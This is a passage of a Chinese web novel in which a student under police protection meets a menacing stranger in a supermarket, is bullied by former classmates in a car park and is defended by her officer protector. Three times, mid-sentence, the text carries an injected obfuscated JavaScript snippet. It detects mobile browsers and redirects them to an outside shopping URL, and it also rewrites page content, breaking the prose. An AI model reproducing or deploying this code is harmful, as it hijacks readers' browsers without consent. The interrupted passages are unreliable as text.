他们静止在再无第三人的窄道上,她困在他的胸膛之下,无从挣脱,他不动手亦不放手,暧昧地僵持着。 公冶警官,求你快回来。 邓烟雨被他堵死了全部出路,双腿按捺不住地发颤,心想公冶买个酸奶为什么这么慢,是找不到路还是找不到芦荟口味? 超市在放某部大热韩剧甜甜的bgm,男女合唱撩拨心弦,邓烟雨胸脯起伏的弧度尤为明显,被他瞧在眼里。邓烟雨很快察觉到男人的目光落落大方关注着自己那里,羞愤得想扇他十个巴掌,可悬殊的实力让邓烟雨不能轻举妄动,只好痛苦地歪过头,小声叫着“公冶”,仿佛这两个字可以就此拯救她。 男人显然不屑听她的蚊吟:“别怕,”他以居高临下的姿态盯视邓烟雨,眼底仍然裹挟着温存的笑意,“我不会伤害你。” 幼鹿什么也不想听,全身上下散发着抗拒,它被猎豹制服在身下,被猎豹嗅闻着流动汩汩热液的娇弱脖颈。 “你,”男人的手确实欲去捉她的后颈,捏一把,“被标记了?” 邓烟雨一震。 是味道吸引他过来的?怎么会,我数值还没有超出一百。 邓烟雨张开嘴,抖着声:“我现在……受警方24小时保护……所以……所以……” “警方已经介入了?”男人说着,从她背后抽出完好无损的手,她那一撞带着落荒而逃的力道,不过这个男人是典型的怪物,反倒很享受她体温的挤压,“那便好,我担心你本人不知情,这才多嘴一句,刚才唐突了,抱歉。” 他得体的礼节镶着“人类文明”的金边,有种妖异近乎变态的色彩,邓烟雨看到更多的是恶狼进餐前的祷告,下一秒就会血盆大张。 邓烟雨不会应付这类人,贴着货架,无所适从地说:“没关系……” 男人后退,左右看看,轻笑:“那他也太不称职了,怎么放你一人在这?” 邓烟雨拢紧外套,做出防御姿势:“他很快回来。” “是叫……公冶渡莲,代号影青。”男人好像在问她几岁会走路一般,证实这条信息的准确性。 邓烟雨见鬼了似的去看他。 “是,或不是?”男人在征询答案。 “你……你想打听些什么?”他笑得再温文尔雅,落进邓烟雨眼里,也是一抹蛇蝎的毒意。 “打听?”男人垂眼,见她眼神坚毅而警惕,毛没长齐就想着护犊。 他偏过身,失态地笑了。 “小丫头,我想得到公安内部的信息太简单了,更何况公冶渡莲……” 尖头皮鞋嗒一声击地,折返过来,优雅的尊容让女人渴望为他尽情服务。 “他从来不属于公安。” 什么? 邓烟雨无法理解这句话,像一具失主的提线木偶,表情空洞。 “你可知道,保护你的这位警察同志以前经历过什么,失去过什么,未来又该去哪里,做什么事,成为什么人?” “未来的事,我怎么会清楚……” “我清楚,”男人款款倾身,逼近她,绿莹莹的眼珠淡如琉璃,“那么麻烦烟雨小朋友,去转告他——” 他知道我的名字……! 邓烟雨再一次钉在他的阴影下,被他强大的气场死死压制,五脏六腑有痉挛的趋势。 只听他说:“不要让我们等太久。” 邓烟雨喉壁泛起铁锈味的,苦涩的刺疼,宛如昆虫的触肢在湿湿触摸,死板地重复男人的话:“不要,让我们,等太久……” “对,就是这句,”男人探出手,拍拍她的发顶,目光在紫花发夹上流恋了数秒,勾起的笑容意味不明,“我就不打扰你和他的约会了,再见。” 回过神时,男人已经走了,超市的bgm也换了一首。邓烟雨如逢大赦地抓住购物车,喘出阻窒过久的气,蹲下来。 她像应激了的猫,血液里的恐惧消退不去。 公冶蹲在开放式冷藏柜前,在找芦荟味的大果粒酸奶,仅剩最后两瓶了,这口味还挺抢手。 “公冶警官。” 他刚起身,就听见邓烟雨叫他。她握着购物车把手,站在自己面前,似乎等了一时。 “我正好要去找你,”这么重的车子她竟然推过来了,“我来推吧。” 邓烟雨颤着“嗯”了声,去看他,他纯净无杂的绿眼也在看过来,发觉她神色不对,露出了探究的目光。 “还好吗?”公冶说,“发生什……” “冷,”邓烟雨搓搓胳膊,打断他,“这里有点冷,我们快走吧。” 超市人多眼杂,邓烟雨决定回家再和他说遇到顶美的事。 记得苏赞那堂课上,一个戴眼镜的男同学说顶美在全世界的数量掰着手指头也数得过来,大部分人终其一生不曾见过顶级美食家。 而她踩了狗屎运,被顶美亲自找上门,还下了一则不怀好意的通告。 公冶会有危险吗? 邓烟雨惊魂未定,思绪万千,呆呆望着前方的背影。 结账的地方人迹混乱,她孤立无援地贴近公冶,抓着他的胳膊,妨碍到他结账了,就改成抓他的大衣。 她比洁癖患者还要防备,躲着每个擦肩而过的陌生人。 “你学校是不是快考试了?”自助结账机前,公冶扫着一袋袋吃食,平常地问邓烟雨。 “是……” “白天你数值稳定,要不过两天回学校,把落下的课程补……” “我不要!” 她这一声是害怕到极致,失控地叫出来的,引来周围好些视线,有人见公冶是美食家,怀疑他对这女孩图谋不轨,眼神示意了一旁的超市工作人员。 工作人员会意上前:“先生,发生什么事了,需要我帮助吗?” 公冶正欲解释,邓烟雨忙摆手:“没事,误会了,他是我哥哥。” “哦哦,好的。”工作人员回到自己的岗位上,转念一想,一普通小姑娘怎么会有个美食家哥哥? “公冶警官,我暂时不想出门,”她说,“学校那边我想休学。” 公冶感到奇怪:“之前不是做了备案么,而且休学会影响你毕业。” “那不休学,就让我待在你家好吗?你不要赶我走。” “我什么时候要赶你走了,”公冶不懂她担忧个什么劲,好笑道,“不去就不去,我们会和学校打好招呼,你在家好好休息。” 她拼命点头,希望这段记忆尽快揭过去,自始至终没有松开他的衣服,脑海里再次翻涌起男人的那句话—— “他从来不属于公安。” 一楼商场,富丽堂皇的大厅,男人踩着声儿清亮的皮鞋,不可一世地走向商场门口等待自己的女人。 “理事,”女人一套裁剪合身的职业装,包裹出曼妙的曲线,柔顺的黑长直披落下来,乌绿的细眸如柳叶,手臂挽着他价值上万的大衣迎过去,“拜托不要再四处乱跑了,主席那来了消息,请您七点前务必回一趟庄园。” “不要那么凶,克丽丝托。”男人朝她扬开双臂,来了个热情拥抱,女人抵住他坚实的胸膛,男人依依不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579279|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放开,目露伤心之色,俨然一副干坏事后装无辜的犯贱表情,“你不开心了?那还是凶我吧。” “为何要露面?要是渡莲也在,您打算如何收场?”女人不吃他这套,不悦地皱眉。“克丽丝托”是男人赐予她的爱称,女人真名叫寇栗。 “您这样打草惊蛇,主席会生气的。” “喔,不怕,老头子这把年纪成天伤春悲秋,情绪波动大,是正常的,你要习惯他,也要体谅我,”男人挑起她的下巴,动情地说,“别不开心,你皱眉我会难过好几天的。” “尹理事,”寇栗如一支精美的花瓶,镇定自若,“请您放开我。” “你不会醋坛子翻了吧,我只是逗逗那孩子,没有非分之想,”男人伸臂揽她腰窝,“你自然明白,我真正想动手动脚的只有啊啊啊疼疼疼!”他被寇栗踩得痛呼,随即无奈地撑额大笑,“克丽丝托,你太狠了。” “关于这点我也要提醒您,”寇栗整理衣领,“渡莲负责她的安全,您再这样没深没浅地去招惹,半夜睡觉烦请您睁一只眼巡逻吧。” “怎么,我还治不了一个珍贵美食家?”男人披上大衣,意气风发往路边的黑色林肯跨去,西装笔挺的手下静候在那,预备开门。 “您当然能制服任何一个珍美,”寇栗忧心忡忡,“但是渡莲……” 他停在开启的车门前,默默转动食指银戒,回头,等待她说下去。 女人最怕他这样的眼神,雍容的,深情的,钻入她容易受伤的心房。 她恢复冷静,说:“您快上车吧。” “上车?”男人眼神一转,动起歪心思来,“是上你的……” 寇栗终于忍无可忍,哐当一脚把他踹进了车里,西装小哥趁尹理事狗啃泥滚进车里的空当,默契十足地关上门,和寇栗毕恭毕敬地鞠躬告别,跑到前头发动车子,麻溜地开走了。 “栗姐,您在理事屁股上留这么大个鞋印,主席看到也会生气的吧?” “主席看到他这副嘴脸就要吸氧了,哪会在意他屁股上一两个印子,”寇栗拂去发丝,吩咐开车,“走吧,我们也回了。” “那公冶渡莲那边……” “莲的事不急,”寇栗转身,盯着他说,“那边如何了?” “好几天联系不上,人都不确定在不在国内。” “那就是有动作了,”寇栗心中不安,“理事对莲属于额外关照,我们的目标是他身边的女孩,服从命令,不要做无谓的付出。” 手下垂首:“知道。” 按下解锁,车灯轻轻作闪。公冶将三大袋战果搬进空无一物的后备箱,拉下后背门,望了望两边,找到了远处还购物车的长龙。 “我去还车。” 他拖着清空的购物车走了,邓烟雨想跟他去,却没来得及说出口,只好先坐进汽车。 新座C区全是辣菜,A区的菜系比较丰富,步行过去小半个钟头。他们赶时间,开车过去重停是最好的选择。 “邓烟雨?” 车门还没打开,身后响起一声熟悉的油腔滑调,邓烟雨顿时如芒在背,缓缓扭过头,看见了昔日的室友和三个男生。 “果真是你!”男生笑歪了嘴,“你不是被苏赞老师上了吗,喂喂,身子骨没事吧,苏老师一看就是特狠的啊哈哈哈哈。” 他们一来就满嘴荤话,邓烟雨脸色难看得要死。 一个室友眯眼,端详她化过妆的脸,再去看车,眼角一抽:“听说你请了长期病假,还有空出来玩?装病呢?” “她怕个啥,瞧瞧,小东西飞上枝头了,”男生插兜荡过来,穿着名牌鞋的脚抬起来,踹了踹车胎,嗤了一口,“傍大款了啊你?” 邓烟雨眼见他这般羞辱,火气蹭地登顶,上去一把推开了他! 27. 还击 男生被推得一个趔趄,滑稽地挥了下臂膀,栽倒在旁边的路虎上。一向畏畏缩缩打骂不还手的花枝鼠敢反抗了,大伙出乎意料,皆惊了。 “邓烟雨,你要干嘛,打架?”室友匪夷所思地瞪她一眼,再去扶狼狈得不成样的男生,“傅哥你没事吧?” “你们走开!”她瘦小的躯体里爆发出可怕的力量,像只进入攻击状态的小刺猬,张开了刺厉声叫道,“我从来没伤害过你们,为什么总是欺负我,能不能不要再打扰我的生活!” “你妈的,你个港贼,还敢跟我叫嚣……”被唤作傅哥的男生在朋友面前出尽洋相,窝火不堪,不顾对方是女生就要拔步上去揍她,有男生拦了:“哥哥哥算啦,你要在这捅娄子吗,你忘了你爸上次怎么把你捞出的局子?” 两个室友瞠目结舌,互看对方,真要懵了。 邓烟雨今日简直换了个人,稍微捏一下就勃然变色,欺负不成了。她们烦躁得咬牙切齿,也想朝那辆车子来一脚:“咱们去学生处举报她,病假期间还在外头瞎浪,邓烟雨你等着被退学吧!” 邓烟雨喘着气,四肢冰凉,倔强地与他们对视,检测仪鲜亮的橙光跟着她的手臂隐隐战抖。 “凶啊,怎么不凶了?”傅哥舔了舔牙,“你和这车主人什么关系,你不会干援|交了吧?好啊乖女儿自己会赚钱了,可不得告诉你爸妈去?” 邓烟雨以为听的不是人话:“你说什么。” “说你呢,再跟我们狠一次试试,灯港爬出来的臭蟑螂,能活一日就他妈给我低下头做人,听到没?嗯?问你话呢听到没?说话!!” 他声量骤然拔高,邓烟雨在突如其来的呵斥下打了个激灵,被按在血脉深处的屈辱复苏了过来。 “我不是港贼,”她难过得发音都哽咽了,“灯港没有叛国。” “你这话跟国家说去,别在我们面前装白莲花,你还能来歌华读大学,那都是吃到国家的红利了,还敢推我,你怎么不回乡下推磨去啊,乡巴佬跑来歌华干什么,想出头?你现在不就出头了吗,小公主你一夜几千块呀?” 话音未落,一伙人声色犬马地爆笑,笑得她哑口无言,只有渗着血泪的怒火在四肢百骸里灼烧,揉作一腔委屈,无力地奔往眼眶里汹涌打转。 “好诶,哥,她要哭了。” 室友们终于解气了,发现她戴了酷可丽联名的小花发夹,这东西标着脑残才买的价格,估计也是这辆车的主人给她买的。 嫉妒的滋味沿着喉咙抵上舌头,她大步上前,见邓烟雨一缩,心笑果然是只纸老虎,手伸向她的发夹,连着头发一把扯下。 发丝被活活拉掉好几根,邓烟雨啊了一声,捂着阵阵发痛的头皮,眼看发夹被她们拿走:“还给我——” 女生把手举高,她个子比邓烟雨高出一大截。 “想要?”女生扬了扬下巴,“那你该跟傅贤说什么?” 邓烟雨愣在那,就听背后有人说:“来,哥哥我教你,”她反抗不及,被捏住她后颈往下摁,给大家磕头,“说傅哥,对不起,我花枝鼠错啦,下次再也不敢啦,我就是一团唾沫,劳烦您尊口一撅,把我吐了算啦!” “……”邓烟雨睁圆了双眸,恍若未闻,硬着脖子不肯埋头。 “聋了还是哑了?邓烟雨?” “还给我,”她盯着地面,声音里含满血意,“把发夹还给我。” “我让你道歉,你要什么发……” “还给我!!” 怒吼回荡在开阔的停车场。男生原本兴致高涨,被她振聋发聩的气势惊得差点弹开,又嫌此刻作罢丢脸,嚷嚷着:“你道歉,你道歉我放开你。” “还我!!” “什么情况……” 邓烟雨在他手中拼命地挣动,指甲挠到了他,转眼在他下颚刮出红痕,男生气急败坏:“你属猫的吗,你不要抓我——”他就势掐着她往车头一按,“别抓了你——” 还没按老实呢,同伴那边突然发出骚动,没等回头,他就感觉自己脖子部位一紧,被人当狗提了起来,两脚腾空飞了出去。 “卧——”脏话还没喷完整,他整个人朝着他的好哥们猛扑过去,扑飞了某人的手机,嘴巴不小心和光滑的地皮重吻,摔出颗带血的牙。 痛哭了。他平生第一次这么“拔牙”,膝盖上的灰尘都顾不着掸,扭头喷着血沫子骂道:“谁——” 一名美食家慢慢站到了他们面前,通身散发着锋利的气息,那抹绿意阴狠得不忍直视,染上了猎食者的恐怖色彩。 邓烟雨撑住车头,怒意未消地绞过眼,与公冶探寻过来的视线误触,仿佛两道势均力敌的闪电鞭破长夜,在空中激撞。 公冶心惊。 这是他不曾见到过的邓烟雨,满脸的狠色。 见来人是他,邓烟雨指关节蜷曲起来,埋头稍作缓解。 她脖子红了一块,公冶侧过头,眼神在那群孩子身上挨个点过去,真就挑不出半个吭气的。他不动声色朝角落里的女生伸手,女生腿再软,也得走上前,把发夹放进他掌心。 傅贤今早出门没看黄历,捂着撞疼的胃,嘴里骂着“这都什么事”,脸皱成抹布打量公冶,冲邓烟雨变了调地说:“你雇打手?” 不等邓烟雨回答,公冶先开口:“是啊,但打人多累,我通常一口下去就解决了,很快的。” 傅贤被同伴拽了老远,他火冒三丈,挥开不争气的碎催,指着公冶:“你以为我怕美食家?我公美都见过,你少在那横!” “那你别退,”公冶踢开眼皮底下的手机,摔碎的手机在地坪上滑溜溜打了几个转,正好甩到傅贤脚下,他说,“捡吧。” 傅贤愣住了。 这货什么来头? “捡啊,”公冶绿得碎裂的目光啮噬着他,“要我按着你脖子帮你捡吗,都九年义务教育读下来了好歹干点人事吧。” “你……”傅贤心知真打起来不是对手,瞥了眼同伴惨兮兮的嘴巴,转眼端正态度,搞笑地和他讲起法来,“故意伤人是犯法的,要追究刑事责任的,信不信我一通电话拘了你?” “是吗,我好害怕,要不咱俩做个伴吧,”公冶冲他招手,“方便的话你现在打电话,争取今晚搭伙进局子吃牢饭,来吧小少爷。” “滚啊你!疯子!”简直是个疯子!傅贤吓破了胆,捡起手机扭头就走,边走边回头看他,撂下狠话,“你等着,我记住你脸了,我爸在局里有人,市局里有人我告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579280|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉你!我势必把你弄进去!” 等他们闹哄哄地跑远了,公冶恢复了往日神态,转向邓烟雨:“他们谁?” 邓烟雨懵懵的,擦了下脸,沙哑地说:“我大学同学。” “……大学生?” 他印象中的大学生可不这样。GS有个一年一度为大学生普及变异美防范知识的法制宣传活动,他参与过开展,那些大学生都是热忱活泼甚至脑袋空白的阳光小可爱,他从没碰到过傅贤这种游走在法律边缘反复横跳的纨绔子弟,实在忍不住说了句:“现在的大学生怎么这样?” “一帮公子哥,傅氏集团,东宝银行,还有龙地控股的独苗,学校没人敢招惹他们,我是唯一一个灯港来的,身份不好,碍着他们眼了,”邓烟雨嗫嚅了会儿说,“这里有监控……” “没事,”公冶走向她,“他们经常在学校欺负你?和老师反映过吗?” “反应过,效果不佳,他们会变本加厉,”邓烟雨低头抠手,“平时不会打我,搞点小动作,泼水什么的,遇到了就骂骂我,我当没听见……” 公冶要被这孩子愁死:“这种事怎么能自己硬扛?他们都对你动手了,和老师反应不成,录个证据找警察都行,学校必定会对施暴者给予处分,也要和家里人及时沟通,你父母知道你在这里的遭遇吗?” 邓烟雨摇了摇头,她有意隐瞒,搬出寝室也寻了个和霸凌无关的理由。金曦和邓忠云以为是女儿不合群,住不惯寝室。她被泼拖把水,被扔被子,被关在寝室门外冷得大哭,被其他寝室的人骂港狗滚远点,她受不了了,那天她穿着睡衣跑出大学,在街上乱走,半路遇到一只流浪狗,它陪她走了一夜。 要是那天,能遇到公冶警官,该有多好;要是那天,她有能力收养那只善良的流浪狗,该有多好。 公冶盯着不愿抬头的她,面容浮起一丝痛色:“就任由他们欺负?” 仅此一句,沉重得她答不上来,过了许久,她恍惚地说:“狠不下心。” 公冶不解地皱眉。 “那两个女生,还有一个今天没来……我看见她们就狠不下心。” “为什么狠不下心?” “她们刚开始不知道我是灯港人,只当我外地来的,对我非常照顾,大一时带我逃跑操,晚自习偷偷塞我吃的,我痛经了会帮我打热水带饭,大冬天吃爆辣火鸡面吃出急性肠胃炎凌晨一点送我去医院,晚上熄灯以后讨论着谁第一个嫁出去……可是,可是再也回不去了。” 比起一瞬间的翻脸无情,失去友谊的孤独与苦痛是一种细水长流的折磨,让邓烟雨更加难以忘怀,她泪水决堤:“我忘不了她们对我的好,可我知道我再也做不了她们的朋友了。” 豆大的泪珠吧嗒吧嗒掉落,她抽噎得上气不接下气,公冶惊慌失措掏兜找纸巾,没找到。 他尴尬无比,傻站了半天,说:“庆威凤不是你朋友吗,你也可以和她一起吃火鸡面……” 不等公冶说完,邓烟雨“呜哇”一声扑进他怀抱,全妆的脸蹭着他里面的白短袖,嚎啕大哭起来。 公冶怔在原地,一动不敢动,对面有人路过,一个戴金链条的好事大哥瞅这儿动静颇大,非要过来问上一问:“咋啦这是?” 28. 凶我 这大哥出现的挺及时的,也挺没用的。他解救不了公冶眼下的困境,纯纯来凑个热闹,眼睛稀罕得贼亮。 “我妹妹失恋了,”公冶脸不红心不跳地胡说,“她在发泄。” 大哥的家人们在喊他,他留个“噢”便走了,还着急跟老婆分享:“哎那边有个妹子被男人甩了,抱着她哥哭得稀里哗啦的哈哈哈哈——” 邓烟雨全听在耳里,发泄够了,仰出埋了八汰的脸,夹杂浓浓的鼻音,吸着鼻涕质问:“为什么说我失恋?” “那要我编什么,”公冶低头瞧她,好矮,“我一时也想不出别的理由。” 邓烟雨呜咽起来:“你是笨蛋。” 她哭得他心脏疼。公冶不再反驳:“行,我是笨蛋。” 邓烟雨揪着他的短袖擦脸,鼻翼轻微翕动,睫毛缀着湿珠子,哭成春雨里一朵弱不禁风的小梨花,带着泪气垂在枝头,我见犹怜。 “好了好了,不哭了。”公冶再心疼自己的衣服,也不好这时候跟她抢,迟疑片晌,抬起手,轻轻抚拭她脸庞的泪痕。 他的手指修长,掌心宽大,能轻易裹住女孩的脸。邓烟雨在他的怀抱明里暗里待过好多次,让他捧着脸的机会可太少了。她收起哭声,感受着男人磨砺得十分温暖的拇指划过自己的眉眼,带着些许护手霜的淡香。她像只被挠到了痒处的小鸟,浑身抖开了毛般的舒服,主动贴过去,愣愣出着神,忽听他说:“我把你妆擦花了。” “……啊,啊?!”邓烟雨要去包里翻镜子,被公冶制止:“别动。” 他没个轻重,但认真起来时,力度强硬得不容拒绝,就捏着她,把邓烟雨圆圆软软的脸蛋捏嘟了。 邓烟雨轻眨泪眼,不知做何反应。 来自男人“擦得干净算你厉害”的至高荣誉战正式打响——他动真格了,结果三分钟热度不到便放弃了,面不改色说:“算了,也能看。” 不是“没事了”,是“算了”。 肯定有大问题!邓烟雨果断撒开他,躲到一旁照自己的脸,更更更加悲恸的哭吼环绕偌大的停车场,公冶软硬兼施求爷告奶地把人哄进了车里。 邓烟雨瞪着镜子里的自己,泪水融化了深棕色眼线,以双眼为轴心,向四周无法无天地晕染开来,跟墨汁拉花了似的,均匀地涂抹在脸上。 “公冶警官!!!” “哎,”公冶回应她,还问,“黑山老妖,我们是去A区吃饭了吗?” 邓烟雨抓狂地抖手:“不要叫我黑山老妖!!!” 公冶看清了她的脸,内疚不已:“对不起,我真不知道会越擦越浓。” 邓烟雨心如死灰,真想连夜搬离地球:“我不吃饭了,我要回家。” “好,那回家。” 她瞅一眼他的白短袖。 “对不起,我不该弄脏你衣服,但我……”邓烟雨道完歉,欲言又止,公冶领会了她的意思,发动车子,说:“我接受你的恨意。” 开上马路,时间临近五点,邓烟雨平复了心情,方才哭得太用力,安静的车内只余她打嗝的声响。 汽车中控屏显示一通电话,公冶接了:“喂?” 邓烟雨在他的“喂”后加了一声“呃”。 “喂哥,我金刀,”金刀打通之前也没组织好语言,磕磕巴巴说着,“那个那个(呃),就你家邓丫头的那个事啊(呃),又搞形式主义了(呃),上头发了份夜间保护情况记录表(呃),纸质的,要你每天填一份(呃),你看你哪天得空了来单位交个接(呃),把之前漏填的也补上啊(呃)。” 金刀沉默一阵,说:“你那养了只海豹吗嗷嗷叫唤?给我打节拍呢?” 邓烟雨:“…………” “我知道了(呃),抽空来拿,挂了。”公冶赶忙掐了。 “公呃……”邓烟雨累了,闭眼说,“前面谢谢呃,你安慰我。” “不客气,你要还是不爽,打我骂我都可以,不要自己憋着。” “我怎么可能呃,打你骂你……” “那我对你的脸也没干好事,受这些应该的。” “……呃。” “告诉你个好消息,”公冶怕她又掉小珍珠,使出十八般武艺安慰,“你已经拿到了歌华公安最强警力的调动权,以后委屈了和我们说一声,特发科七个组的金牌打手任君挑选。” 邓烟雨惊讶地转过头看他,而公冶不敢去看她。 “真的呃,吗?”邓烟雨惊喜道,“我可以呃,受欺负了就找你们吗?谁都可以吗?无论多晚都可呃,以吗?” 公冶手搭方向盘:“晚上就别找了。” “啊,为啥?” 公冶终于向她投去目光:“晚上了我还能让你受欺负?” 邓烟雨被他注视得脸燥热,又响亮地呃了一声。 红灯了,公冶刹车:“你翻一下抽屉,”他歉意满满,“我有包湿巾纸,擦擦脸吧。” 邓烟雨早不生气了,反正今天约会也因为各种各样的小摩擦泡汤了,又是半路杀出个顶级美食家,又是冷灰里冒出几个公子哥,脸花了都算小事,花了就花了吧。 她抽出纸巾,对着镜子,仔仔细细擦掉脸上的老妖妆,再拿出迷你装补水喷雾喷了喷。 “公冶警官,”接着,她叫了他一声,于是公冶在下一刻,听到了一个前所未有,惊世骇俗的请求,“你能不能对我也这么凶?” 公冶:“啊??” “我还挺喜欢你凶巴巴的样子的,”邓烟雨脸干净了,也不打嗝了,“要不回家就试试,你把我堵在墙角跟我要保护费,记得凶我。” 这孩子被霸凌出毛病来了吗?! “我平白无故,干嘛要凶你……?”公冶说着说着,声量微弱了下去,他缓缓侧过头,用难以置信的目光端详邓烟雨满怀期待的闪亮表情,试探地问,“你不会是抖M吧?” “……” “谁……” “谁谁谁谁是抖M了!” 邓烟雨对这个词抱有浅显的理解,心虚急切地反驳。 她痛恨傅贤对自己百般欺辱,但换做公冶…… 换做公冶……? 她突然安静下来,人也放空了,全神贯注地沉浸到自己的世界里——幽暗的卧房,烛火的光影被无限放大,缭绕在墙面,铺满红玫瑰的雪白大床上,她被塞住了嘴巴,绑在床头,而他走进来,脱去禁锢着威严与礼仪的警服,露出一身紧致白衬衫,肌肉线条明朗,领口解开着,手持一把银冷镣铐。 他在她呜呜掉泪的模糊求饶声中款步靠近,膝盖撑到床面发出轻响,随着吧嗒一声松脱,他摘下面部的止咬器,张开性感獠牙,欺身压下…… 噢!天呐! 邓烟雨布灵布灵的大眼闪烁着,脚趾头激动地缩紧。 似乎很不错诶!而且好刺激! 公冶嗅出她的异样,不知她脑补了什么,总觉得好可怕。 “要不这样,”邓烟雨羞涩地看他,坚持说道,“你凶我一回试试?测测看我有没有抖M的潜质?” 绿灯亮起,公冶循序渐进踩下油门:“这事再说吧。”太离谱了! “不要嘛,说不定你凶了我以后会发现,你自己体内住着一个抖S呢。” “不可能,”仿佛为了挽回男人的体面、警界精英的尊严,他抵死不承认自己会有这种奇怪糟糕的属性,“我随口说说的,你不要瞎捣鼓了。” “怎么能随口说说,你既然问我是不是抖M,说明肯定了解过,公冶警官你抓坏人那么厉害,要是哪天交了女朋友,会不会天天想欺负她呀?手铐你平常拿回家吗?会给女朋友戴吗?我还听说什么捆绑play,好像就是给M一方戴上各种玩具,正好你单位里一应俱全,都不用上网买,超级便利呢。” “邓烟雨!”公冶板着脸命令道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579281|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不要影响我开车。” 没想到邓烟雨不仅没有被他唬住,还兴冲冲地说:“看吧看吧,抖S属性出来了,你都大声命令我了,那我只好服从啦,谁叫我是抖M呢。” 邓烟雨讲得头头是道证据充分,公冶哑口无言,望着前方的路面。 这坎是过不去了。 “我还有问题想采访你,”邓烟雨哭完就饿,找出之前没吃光的水果糖,毫不避讳地问,“你说你很少吃肉,是真不爱吃还是忍着不吃?” 一段微妙的停顿后,公冶坦白了:“我是不爱吃肉,但我对血有很大需求,还有,”他握紧方向盘,“我其实很喜欢喝酒,工作关系不能多喝,美食家喝醉了会比较难搞。” 邓烟雨疑惑地歪头:“我在博物馆的趣闻小天地里逛了好久,也没见着美食家喝醉酒的案例,到底会怎么样,你告诉我呗。” 公冶说:“睡觉。” 邓烟雨一愣:“就睡觉?”这也太稀松平常了吧,不就倒头呼呼大睡么。 “不是晒干的咸鱼往床上一躺完事的睡觉,”火海烂漫地烧干天际,倒映在公冶禁欲的瞳孔里,“是那方面的。” 静了三秒,邓烟雨总算反应过来,公冶的这个“睡觉”是指何意。 她的脸浮起燥热,比酿透的葡萄酒还诱人。 “那你家里现在……”邓烟雨嗓子一噎,“还有酒吗?” “没有,你来之前我喝光了,”公冶怕她误会,“当然我没发酒疯啊,我酒量还可以的,到现在没醉过。” “是么,好可惜。” 公冶:“……”可、可惜什么? “平常喝什么酒呀?”邓烟雨对他的私生活兴趣浓厚,刨根问底。 “冰啤、红酒居多,鸡尾酒也喝。” “哇,你会调酒吗?” “我一般去酒吧喝烈的,在家就随便调几杯过过瘾。” “酒吧?警察可以去酒吧呀?” “合法经营的娱乐场所都可以去,就是不能穿制服。” 邓烟雨了然,话题重新绕回酒上:“白酒和黄酒喝吗?” “很少喝,度数太高的我也吃不消。” “噢噢,烧刀子呢?” “这酒太古老了,没喝过,”公冶瞟她,“你查户口啊?” “对啊,你让我查吗?” 公冶拿她没办法:“查吧。” “一瓶红酒喝得醉么?” “喝不醉,后劲会有。” “那一斤的白酒,”邓烟雨指甲沿着安全带往下刮,“你会醉么?” 小区的绿化在远远一角上初露端倪,公冶说:“不清楚,真没试过。” “这样啊……我明白了。”邓烟雨像得知了一个天大的秘密,美滋滋地去刷手机了,把未知的恐惧全部留给公冶。 她到底在计划什么……? 公冶带着满心的狐疑与不安,顺利开回了家。 今天鱼也没有买,公冶知道她累了,问她要不要点外卖,邓烟雨坚持说要自己做。 “等为师洗完澡出来教你做饭!” 公冶把发夹搁在茶几上,一转头,人早就跑卫生间作妖去了,连卧室的房门都没关。 半个多小时后。 卫生间的门推开一条缝。 “公、公冶警官……你在吗……” 他能在吗?他在书房。 书房敞开着,灯也亮着,公冶在里头“翻牌子”——挑了一本今晚通宵看的悬疑小说,耳力极佳的他捕捉到了邓烟雨细若蚊吟的呼唤。 “怎么了师父,”公冶翻着书,语调散淡,漫不经心问道,“需要徒儿帮忙吗?” 还真有。 “你帮我……帮我拿一下浴巾,”雾气朦胧,挤着逼仄的门缝泄出来,邓烟雨用一块擦脸的毛巾挡住重要部位,按捺着满心的羞耻,说,“洗了没收,我忘记带进来了。” 29. 顶美(修) 啪——公冶合上手中的书。 “稍等。” 简洁明了的两个字从外面传来。邓烟雨怕宝贵的热气跑光,将门虚掩,听着脚步声不疾不徐走远。 她以为浴巾被自己顺手扔床上了,准备光速冲出卫生间,但跨出第一步大脑就敲响警钟——今天阳光格外好,她把洗好的浴巾晾去晒了,更要命的是卧室门大开着,走廊灯火通明。 她可没那个本事堂而皇之在别人家里裸奔。 所以保险起见,还是让那个“在客厅里晃来晃去的人”去拿吧。 “开下门。”公冶站在卫生间外,说。 邓烟雨回神:“啊,啊?” “门,开条缝。”公冶字斟句酌地说。 邓烟雨双手握住把手,抽丝剥茧地移动门边,门框和门之间精准让出一毫米的空隙,然后就没有然后了。公冶傻眼看着,话都说不出来。 一毫米,让他怎么塞进去? 正要叫她再开大点,公冶不知哪根筋搭错,目光如倏忽游动的一尾鱼,鬼使神差定格在门上。 